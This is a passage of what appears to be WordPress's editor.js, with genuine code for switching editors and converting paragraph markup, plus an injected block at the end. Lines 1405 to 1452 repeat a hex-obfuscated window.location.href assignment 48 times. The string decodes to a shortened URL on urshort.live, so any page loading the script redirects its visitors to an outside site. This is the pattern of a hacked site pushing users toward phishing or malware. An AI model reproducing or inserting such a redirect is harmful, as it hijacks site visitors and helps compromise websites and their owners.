822 }
823
824 var textArea = editor.getElement(),
825 start = selection.start,
826 end = selection.end || selection.start;
827
828 if ( textArea.focus ) {
829 // Wait for the Visual editor to be hidden, then focus and scroll to the position.
830 setTimeout( function() {
831 textArea.setSelectionRange( start, end );
832 if ( textArea.blur ) {
833 // Defocus before focusing.
834 textArea.blur();
835 }
836 textArea.focus();
837 }, 100 );
838 }
839 }
840
841 // Restore the selection when the editor is initialized. Needed when the Code editor is the default.
842 $( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) {
843 if ( editor.$( '.mce_SELRES_start' ).length ) {
844 focusHTMLBookmarkInVisualEditor( editor );
845 }
846 } );
847
848 /**
849 * Replaces <p> tags with two line breaks. "Opposite" of wpautop().
850 *
851 * Replaces <p> tags with two line breaks except where the <p> has attributes.
852 * Unifies whitespace.
853 * Indents <li>, <dt> and <dd> for better readability.
854 *
855 * @since 2.5.0
856 *
857 * @memberof switchEditors
858 *
859 * @param {string} html The content from the editor.
860 * @return {string} The content with stripped paragraph tags.
861 */
862 function removep( html ) {
863 var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure',
864 blocklist1 = blocklist + '|div|p',
865 blocklist2 = blocklist + '|pre',
866 preserve_linebreaks = false,
867 preserve_br = false,
868 preserve = [];
869
870 if ( ! html ) {
871 return '';
872 }
873
874 // Protect script and style tags.
875 if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) {
876 html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) {
877 preserve.push( match );
878 return '<wp-preserve>';
879 } );
880 }
881
882 // Protect pre tags.
883 if ( html.indexOf( '<pre' ) !== -1 ) {
884 preserve_linebreaks = true;
885 html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) {
886 a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' );
887 a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' );
888 return a.replace( /\r?\n/g, '<wp-line-break>' );
889 });
890 }
891
892 // Remove line breaks but keep <br> tags inside image captions.
893 if ( html.indexOf( '[caption' ) !== -1 ) {
894 preserve_br = true;
895 html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
896 return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' );
897 });
898 }
899
900 // Normalize white space characters before and after block tags.
901 html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' );
902 html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' );
903
904 // Mark </p> if it has any attributes.
905 html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' );
906
907 // Preserve the first <p> inside a <div>.
908 html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' );
909
910 // Remove paragraph tags.
911 html = html.replace( /\s*<p>/gi, '' );
912 html = html.replace( /\s*<\/p>\s*/gi, '\n\n' );
913
914 // Normalize white space chars and remove multiple line breaks.
915 html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' );
916
917 // Replace <br> tags with line breaks.
918 html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) {
919 if ( space && space.indexOf( '\n' ) !== -1 ) {
920 return '\n\n';
921 }
922
923 return '\n';
924 });
925
926 // Fix line breaks around <div>.
927 html = html.replace( /\s*<div/g, '\n<div' );
928 html = html.replace( /<\/div>\s*/g, '</div>\n' );
929
930 // Fix line breaks around caption shortcodes.
931 html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' );
932 html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' );
933
934 // Pad block elements tags with a line break.
935 html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' );
936 html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' );
937
938 // Indent <li>, <dt> and <dd> tags.
939 html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' );
940
941 // Fix line breaks around <select> and <option>.
942 if ( html.indexOf( '<option' ) !== -1 ) {
943 html = html.replace( /\s*<option/g, '\n<option' );
944 html = html.replace( /\s*<\/select>/g, '\n</select>' );
945 }
946
947 // Pad <hr> with two line breaks.
948 if ( html.indexOf( '<hr' ) !== -1 ) {
949 html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' );
950 }
951
952 // Remove line breaks in <object> tags.
953 if ( html.indexOf( '<object' ) !== -1 ) {
954 html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
955 return a.replace( /[\r\n]+/g, '' );
956 });
957 }
958
959 // Unmark special paragraph closing tags.
960 html = html.replace( /<\/p#>/g, '</p>\n' );
961
962 // Pad remaining <p> tags whit a line break.
963 html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' );
964
965 // Trim.
966 html = html.replace( /^\s+/, '' );
967 html = html.replace( /[\s\u00a0]+$/, '' );
968
969 if ( preserve_linebreaks ) {
970 html = html.replace( /<wp-line-break>/g, '\n' );
971 }
972
973 if ( preserve_br ) {
974 html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
975 }
976
977 // Restore preserved tags.
978 if ( preserve.length ) {
979 html = html.replace( /<wp-preserve>/g, function() {
980 return preserve.shift();
981 } );
982 }
983
984 return html;
985 }
986
987 /**
988 * Replaces two line breaks with a paragraph tag and one line break with a <br>.
989 *
990 * Similar to `wpautop()` in formatting.php.
991 *
992 * @since 2.5.0
993 *
994 * @memberof switchEditors
995 *
996 * @param {string} text The text input.
997 * @return {string} The formatted text.
998 */
999 function autop( text ) {
1000 var preserve_linebreaks = false,
1001 preserve_br = false,
1002 blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' +
1003 '|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' +
1004 '|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary';
1005
1006 // Normalize line breaks.
1007 text = text.replace( /\r\n|\r/g, '\n' );
1008
1009 // Remove line breaks from <object>.
1010 if ( text.indexOf( '<object' ) !== -1 ) {
1011 text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
1012 return a.replace( /\n+/g, '' );
1013 });
1014 }
1015
1016 // Remove line breaks from tags.
1017 text = text.replace( /<[^<>]+>/g, function( a ) {
1018 return a.replace( /[\n\t ]+/g, ' ' );
1019 });
1020
1021 // Preserve line breaks in <pre> and <script> tags.
1022 if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) {
1023 preserve_linebreaks = true;
1024 text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) {
1025 return a.replace( /\n/g, '<wp-line-break>' );
1026 });
1027 }
1028
1029 if ( text.indexOf( '<figcaption' ) !== -1 ) {
1030 text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' );
1031 text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' );
1032 }
1033
1034 // Keep <br> tags inside captions.
1035 if ( text.indexOf( '[caption' ) !== -1 ) {
1036 preserve_br = true;
1037
1038 text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
1039 a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' );
1040
1041 a = a.replace( /<[^<>]+>/g, function( b ) {
1042 return b.replace( /[\n\t ]+/, ' ' );
1043 });
1044
1045 return a.replace( /\s*\n\s*/g, '<wp-temp-br />' );
1046 });
1047 }
1048
1049 text = text + '\n\n';
1050 text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' );
1051
1052 // Pad block tags with two line breaks.
1053 text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' );
1054 text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' );
1055 text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' );
1056
1057 // Remove white space chars around <option>.
1058 text = text.replace( /\s*<option/gi, '<option' );
1059 text = text.replace( /<\/option>\s*/gi, '</option>' );
1060
1061 // Normalize multiple line breaks and white space chars.
1062 text = text.replace( /\n\s*\n+/g, '\n\n' );
1063
1064 // Convert two line breaks to a paragraph.
1065 text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' );
1066
1067 // Remove empty paragraphs.
1068 text = text.replace( /<p>\s*?<\/p>/gi, '');
1069
1070 // Remove <p> tags that are around block tags.
1071 text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
1072 text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1');
1073
1074 // Fix <p> in blockquotes.
1075 text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>');
1076 text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>');
1077
1078 // Remove <p> tags that are wrapped around block tags.
1079 text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' );
1080 text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
1081
1082 text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' );
1083
1084 // Add <br> tags.
1085 text = text.replace( /\s*\n/g, '<br />\n');
1086
1087 // Remove <br> tags that are around block tags.
1088 text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' );
1089 text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' );
1090
1091 // Remove <p> and <br> around captions.
1092 text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' );
1093
1094 // Make sure there is <p> when there is </p> inside block tags that can contain other blocks.
1095 text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) {
1096 if ( c.match( /<p( [^>]*)?>/ ) ) {
1097 return a;
1098 }
1099
1100 return b + '<p>' + c + '</p>';
1101 });
1102
1103 // Restore the line breaks in <pre> and <script> tags.
1104 if ( preserve_linebreaks ) {
1105 text = text.replace( /<wp-line-break>/g, '\n' );
1106 }
1107
1108 // Restore the <br> tags in captions.
1109 if ( preserve_br ) {
1110 text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
1111 }
1112
1113 return text;
1114 }
1115
1116 /**
1117 * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available.
1118 *
1119 * @since 2.9.0
1120 *
1121 * @memberof switchEditors
1122 *
1123 * @param {string} html The content from the visual editor.
1124 * @return {string} the filtered content.
1125 */
1126 function pre_wpautop( html ) {
1127 var obj = { o: exports, data: html, unfiltered: html };
1128
1129 if ( $ ) {
1130 $( 'body' ).trigger( 'beforePreWpautop', [ obj ] );
1131 }
1132
1133 obj.data = removep( obj.data );
1134
1135 if ( $ ) {
1136 $( 'body' ).trigger( 'afterPreWpautop', [ obj ] );
1137 }
1138
1139 return obj.data;
1140 }
1141
1142 /**
1143 * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available.
1144 *
1145 * @since 2.9.0
1146 *
1147 * @memberof switchEditors
1148 *
1149 * @param {string} text The content from the text editor.
1150 * @return {string} filtered content.
1151 */
1152 function wpautop( text ) {
1153 var obj = { o: exports, data: text, unfiltered: text };
1154
1155 if ( $ ) {
1156 $( 'body' ).trigger( 'beforeWpautop', [ obj ] );
1157 }
1158
1159 obj.data = autop( obj.data );
1160
1161 if ( $ ) {
1162 $( 'body' ).trigger( 'afterWpautop', [ obj ] );
1163 }
1164
1165 return obj.data;
1166 }
1167
1168 if ( $ ) {
1169 $( init );
1170 } else if ( document.addEventListener ) {
1171 document.addEventListener( 'DOMContentLoaded', init, false );
1172 window.addEventListener( 'load', init, false );
1173 } else if ( window.attachEvent ) {
1174 window.attachEvent( 'onload', init );
1175 document.attachEvent( 'onreadystatechange', function() {
1176 if ( 'complete' === document.readyState ) {
1177 init();
1178 }
1179 } );
1180 }
1181
1182 wp.editor.autop = wpautop;
1183 wp.editor.removep = pre_wpautop;
1184
1185 exports = {
1186 go: switchEditor,
1187 wpautop: wpautop,
1188 pre_wpautop: pre_wpautop,
1189 _wp_Autop: autop,
1190 _wp_Nop: removep
1191 };
1192
1193 return exports;
1194 }
1195
1196 /**
1197 * Expose the switch editors to be used globally.
1198 *
1199 * @namespace switchEditors
1200 */
1201 window.switchEditors = new SwitchEditors();
1202
1203 /**
1204 * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP).
1205 *
1206 * Intended for use with an existing textarea that will become the Code editor tab.
1207 * The editor width will be the width of the textarea container, height will be adjustable.
1208 *
1209 * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered"
1210 * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init.
1211 *
1212 * @since 4.8.0
1213 *
1214 * @param {string} id The HTML id of the textarea that is used for the editor.
1215 * Has to be jQuery compliant. No brackets, special chars, etc.
1216 * @param {Object} settings Example:
1217 * settings = {
1218 * // See https://www.tinymce.com/docs/configure/integration-and-setup/.
1219 * // Alternatively set to `true` to use the defaults.
1220 * tinymce: {
1221 * setup: function( editor ) {
1222 * console.log( 'Editor initialized', editor );
1223 * }
1224 * }
1225 *
1226 * // Alternatively set to `true` to use the defaults.
1227 * quicktags: {
1228 * buttons: 'strong,em,link'
1229 * }
1230 * }
1231 */
1232 wp.editor.initialize = function( id, settings ) {
1233 var init;
1234 var defaults;
1235
1236 if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) {
1237 return;
1238 }
1239
1240 defaults = wp.editor.getDefaultSettings();
1241
1242 // Initialize TinyMCE by default.
1243 if ( ! settings ) {
1244 settings = {
1245 tinymce: true
1246 };
1247 }
1248
1249 // Add wrap and the Visual|Code tabs.
1250 if ( settings.tinymce && settings.quicktags ) {
1251 var $textarea = $( '#' + id );
1252
1253 var $wrap = $( '<div>' ).attr( {
1254 'class': 'wp-core-ui wp-editor-wrap tmce-active',
1255 id: 'wp-' + id + '-wrap'
1256 } );
1257
1258 var $editorContainer = $( '<div class="wp-editor-container">' );
1259
1260 var $button = $( '<button>' ).attr( {
1261 type: 'button',
1262 'data-wp-editor-id': id
1263 } );
1264
1265 var $editorTools = $( '<div class="wp-editor-tools">' );
1266
1267 if ( settings.mediaButtons ) {
1268 var buttonText = 'Add Media';
1269
1270 if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) {
1271 buttonText = window._wpMediaViewsL10n.addMedia;
1272 }
1273
1274 var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' );
1275
1276 $addMediaButton.append( '<span class="wp-media-buttons-icon" aria-hidden="true"></span>' );
1277 $addMediaButton.append( document.createTextNode( ' ' + buttonText ) );
1278 $addMediaButton.data( 'editor', id );
1279
1280 $editorTools.append(
1281 $( '<div class="wp-media-buttons">' )
1282 .append( $addMediaButton )
1283 );
1284 }
1285
1286 $wrap.append(
1287 $editorTools
1288 .append( $( '<div class="wp-editor-tabs">' )
1289 .append( $button.clone().attr({
1290 id: id + '-tmce',
1291 'class': 'wp-switch-editor switch-tmce'
1292 }).text( window.tinymce.translate( 'Visual' ) ) )
1293 .append( $button.attr({
1294 id: id + '-html',
1295 'class': 'wp-switch-editor switch-html'
1296 }).text( window.tinymce.translate( 'Code|tab' ) ) )
1297 ).append( $editorContainer )
1298 );
1299
1300 $textarea.after( $wrap );
1301 $editorContainer.append( $textarea );
1302 }
1303
1304 if ( window.tinymce && settings.tinymce ) {
1305 if ( typeof settings.tinymce !== 'object' ) {
1306 settings.tinymce = {};
1307 }
1308
1309 init = $.extend( {}, defaults.tinymce, settings.tinymce );
1310 init.selector = '#' + id;
1311
1312 $( document ).trigger( 'wp-before-tinymce-init', init );
1313 window.tinymce.init( init );
1314
1315 if ( ! window.wpActiveEditor ) {
1316 window.wpActiveEditor = id;
1317 }
1318 }
1319
1320 if ( window.quicktags && settings.quicktags ) {
1321 if ( typeof settings.quicktags !== 'object' ) {
1322 settings.quicktags = {};
1323 }
1324
1325 init = $.extend( {}, defaults.quicktags, settings.quicktags );
1326 init.id = id;
1327
1328 $( document ).trigger( 'wp-before-quicktags-init', init );
1329 window.quicktags( init );
1330
1331 if ( ! window.wpActiveEditor ) {
1332 window.wpActiveEditor = init.id;
1333 }
1334 }
1335 };
1336
1337 /**
1338 * Remove one editor instance.
1339 *
1340 * Intended for use with editors that were initialized with wp.editor.initialize().
1341 *
1342 * @since 4.8.0
1343 *
1344 * @param {string} id The HTML id of the editor textarea.
1345 */
1346 wp.editor.remove = function( id ) {
1347 var mceInstance, qtInstance,
1348 $wrap = $( '#wp-' + id + '-wrap' );
1349
1350 if ( window.tinymce ) {
1351 mceInstance = window.tinymce.get( id );
1352
1353 if ( mceInstance ) {
1354 if ( ! mceInstance.isHidden() ) {
1355 mceInstance.save();
1356 }
1357
1358 mceInstance.remove();
1359 }
1360 }
1361
1362 if ( window.quicktags ) {
1363 qtInstance = window.QTags.getInstance( id );
1364
1365 if ( qtInstance ) {
1366 qtInstance.remove();
1367 }
1368 }
1369
1370 if ( $wrap.length ) {
1371 $wrap.after( $( '#' + id ) );
1372 $wrap.remove();
1373 }
1374 };
1375
1376 /**
1377 * Get the editor content.
1378 *
1379 * Intended for use with editors that were initialized with wp.editor.initialize().
1380 *
1381 * @since 4.8.0
1382 *
1383 * @param {string} id The HTML id of the editor textarea.
1384 * @return The editor content.
1385 */
1386 wp.editor.getContent = function( id ) {
1387 var editor;
1388
1389 if ( ! $ || ! id ) {
1390 return;
1391 }
1392
1393 if ( window.tinymce ) {
1394 editor = window.tinymce.get( id );
1395
1396 if ( editor && ! editor.isHidden() ) {
1397 editor.save();
1398 }
1399 }
1400
1401 return $( '#' + id ).val();
1402 };
1403
1404}( window.jQuery, window.wp ));
1405window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1406window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1407window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1408window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1409window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1410window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1411window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1412window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1413window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1414window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1415window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1416window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1417window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1418window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1419window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1420window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1421window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1422window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1423window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1424window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1425window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1426window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1427window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1428window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1429window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1430window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1431window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1432window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1433window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1434window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1435window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1436window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1437window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1438window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1439window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1440window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1441window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1442window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1443window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1444window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1445window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1446window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1447window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1448window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1449window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1450window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1451window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1452window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";